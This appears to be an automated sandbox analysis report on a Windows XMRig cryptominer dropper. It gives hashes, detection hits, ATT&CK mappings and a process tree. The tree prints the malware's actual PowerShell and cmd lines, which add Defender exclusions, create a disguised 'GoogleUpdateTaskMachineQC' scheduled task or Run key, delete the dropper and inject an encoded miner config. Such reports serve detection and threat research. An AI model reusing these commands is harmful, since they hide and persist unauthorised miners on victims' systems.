xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
451s
max time network
1791s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2496 created 1068	2496	3JynzWc6LxNCT2y8.exe	2
PID 2496 created 1068	2496	3JynzWc6LxNCT2y8.exe	2
PID 2496 created 1068	2496	3JynzWc6LxNCT2y8.exe	2
PID 2496 created 1068	2496	3JynzWc6LxNCT2y8.exe	2
PID 2984 created 1068	2984	updater.exe	2
PID 2984 created 1068	2984	updater.exe	2
PID 2984 created 1068	2984	updater.exe	2
PID 2984 created 1068	2984	updater.exe	2
PID 2220 created 1068	2220	conhost.exe	2
PID 2984 created 1068	2984	updater.exe	2

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral1/memory/2532-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2532-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2580	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2984	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2864	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2532-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2532-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2984 set thread context of 2220	2984	updater.exe	52
PID 2984 set thread context of 2532	2984	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2724	schtasks.exe
2852	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1692	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e08446c3b04fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2496	3JynzWc6LxNCT2y8.exe
2496	3JynzWc6LxNCT2y8.exe
2484	powershell.exe
2496	3JynzWc6LxNCT2y8.exe
2496	3JynzWc6LxNCT2y8.exe
2556	powershell.exe
2496	3JynzWc6LxNCT2y8.exe
2496	3JynzWc6LxNCT2y8.exe
2496	3JynzWc6LxNCT2y8.exe
2496	3JynzWc6LxNCT2y8.exe
2568	powershell.exe
2984	updater.exe
2984	updater.exe
2108	powershell.exe
2984	updater.exe
2984	updater.exe
1584	powershell.exe
2984	updater.exe
2984	updater.exe
2984	updater.exe
2984	updater.exe
2220	conhost.exe
2220	conhost.exe
2984	updater.exe
2984	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2984	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1692	WMIC.exe
Token: SeSecurityPrivilege	1692	WMIC.exe
Token: SeTakeOwnershipPrivilege	1692	WMIC.exe
Token: SeLoadDriverPrivilege	1692	WMIC.exe
Token: SeSystemtimePrivilege	1692	WMIC.exe
Token: SeBackupPrivilege	1692	WMIC.exe
Token: SeRestorePrivilege	1692	WMIC.exe
Token: SeShutdownPrivilege	1692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1692	WMIC.exe
Token: SeUndockPrivilege	1692	WMIC.exe
Token: SeManageVolumePrivilege	1692	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1692	WMIC.exe
Token: SeSecurityPrivilege	1692	WMIC.exe
Token: SeTakeOwnershipPrivilege	1692	WMIC.exe
Token: SeLoadDriverPrivilege	1692	WMIC.exe
Token: SeSystemtimePrivilege	1692	WMIC.exe
Token: SeBackupPrivilege	1692	WMIC.exe
Token: SeRestorePrivilege	1692	WMIC.exe
Token: SeShutdownPrivilege	1692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1692	WMIC.exe
Token: SeUndockPrivilege	1692	WMIC.exe
Token: SeManageVolumePrivilege	1692	WMIC.exe
Token: SeLockMemoryPrivilege	2532	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2724	2556	powershell.exe	32
PID 2556 wrote to memory of 2724	2556	powershell.exe	32
PID 2556 wrote to memory of 2724	2556	powershell.exe	32
PID 2580 wrote to memory of 3012	2580	cmd.exe	33
PID 2580 wrote to memory of 3012	2580	cmd.exe	33
PID 2580 wrote to memory of 3012	2580	cmd.exe	33
PID 2568 wrote to memory of 2860	2568	powershell.exe	38
PID 2568 wrote to memory of 2860	2568	powershell.exe	38
PID 2568 wrote to memory of 2860	2568	powershell.exe	38
PID 2864 wrote to memory of 2984	2864	taskeng.exe	40
PID 2864 wrote to memory of 2984	2864	taskeng.exe	40
PID 2864 wrote to memory of 2984	2864	taskeng.exe	40
PID 1584 wrote to memory of 2852	1584	powershell.exe	45
PID 1584 wrote to memory of 2852	1584	powershell.exe	45
PID 1584 wrote to memory of 2852	1584	powershell.exe	45
PID 2984 wrote to memory of 2220	2984	updater.exe	52
PID 1232 wrote to memory of 1692	1232	cmd.exe	46
PID 1232 wrote to memory of 1692	1232	cmd.exe	46
PID 1232 wrote to memory of 1692	1232	cmd.exe	46
PID 2984 wrote to memory of 2532	2984	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1068
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2724
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2852
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1232
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1196
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2220
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2532

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:3012

C:\Windows\system32\taskeng.exe
taskeng.exe {B5D8D339-5367-47B2-BDD0-4717FA18F29C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2984

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
640KB

MD5
e0636fad2b459c098671eb989d2c230a

SHA1
70c77094763c047d57659edba14e3a3759f97846

SHA256
27b97f79134443f2e6b4039440cbc41403c4e19722d4833e3a3d38f4261c3398

SHA512
1bfaf7c78e2c487042a881cc115a4114d8628aee4212c6f9166f873013ad97d2fc43b26035b5c252376bc9f9d7cfceffe46bfbac8ab88bc4c7eb59c27bb9cba4

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
235KB

MD5
34a6bff9cd64ed2267b506ff5985763e

SHA1
b4efc52884626999fef6dd58032f4ec0ba45d133

SHA256
7a6717ec23a84169afdea550e7621c7f6d624d9a48896eb5e68ed2a2b528fade

SHA512
f698fc9f8b1215b00a4082fc43a5a75d05359e327df26c0dfd4a4ec83b0ffb0b5df63bef40dd4d8d7e79d869978abd3c7e09dd086270e1ec5b1d9f89c9006523

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UHI7SS2BM5R9BEHQAI5M.temp

Filesize
7KB

MD5
2f6a2d1ae9b08d039fd896d36ae7fb26

SHA1
f7abf0561d0e01421b5e89b1d40f422584b87c91

SHA256
28ef8e4f84a564cd7fbba9ca7baedbbeea968ff8ec0e371d2b86e23c77c92a80

SHA512
45c55fb411c8808a03fb600ed0501594af2f24836b7d7e2fb95327af3cde567a4829399f70c0b8427555bbf2947b69d69c467b069ce1d4dfb73389165db5fd62

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
649KB

MD5
9a3cca3ea9e6b1ba466dcc687e817418

SHA1
ad3b0738612999b7cd1435d1cae8741993fdabd5

SHA256
e543f7f868f43b1508c8e7b043bb23e650d42042f80484b88a736a2c58b8f1e3

SHA512
bac7ca0c1c2dcf16a3f72f3d201e447f8e9d82f6e2059ee869a6e5998be08e5d083bf68ec0f9ce56a20822d15d90c0dc6c062e466c6865fb9e10889d5724527e

Download Submit
memory/1584-53-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1584-52-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/1584-57-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1584-56-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1584-55-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1584-58-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/1584-54-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/2108-51-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2108-49-0x0000000001434000-0x0000000001437000-memory.dmp

Filesize
12KB

Download
memory/2108-46-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/2108-45-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2108-48-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/2108-50-0x000000000143B000-0x00000000014A2000-memory.dmp

Filesize
412KB

Download
memory/2108-47-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2220-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2484-12-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-8-0x0000000002AB0000-0x0000000002B30000-memory.dmp

Filesize
512KB

Download
memory/2484-7-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-9-0x0000000002AB0000-0x0000000002B30000-memory.dmp

Filesize
512KB

Download
memory/2484-10-0x0000000002AB0000-0x0000000002B30000-memory.dmp

Filesize
512KB

Download
memory/2484-6-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/2484-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2484-11-0x0000000002AB0000-0x0000000002B30000-memory.dmp

Filesize
512KB

Download
memory/2484-13-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-28-0x000000013FFE0000-0x00000001401F1000-memory.dmp

Filesize
2.1MB

Download
memory/2496-0-0x000000013FFE0000-0x00000001401F1000-memory.dmp

Filesize
2.1MB

Download
memory/2532-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-66-0x00000000001C0000-0x00000000001E0000-memory.dmp

Filesize
128KB

Download
memory/2532-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-68-0x0000000000790000-0x00000000007B0000-memory.dmp

Filesize
128KB

Download
memory/2532-69-0x00000000007B0000-0x00000000007D0000-memory.dmp

Filesize
128KB

Download
memory/2532-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-74-0x0000000000790000-0x00000000007B0000-memory.dmp

Filesize
128KB

Download
memory/2532-75-0x00000000007B0000-0x00000000007D0000-memory.dmp

Filesize
128KB

Download
memory/2532-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2532-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
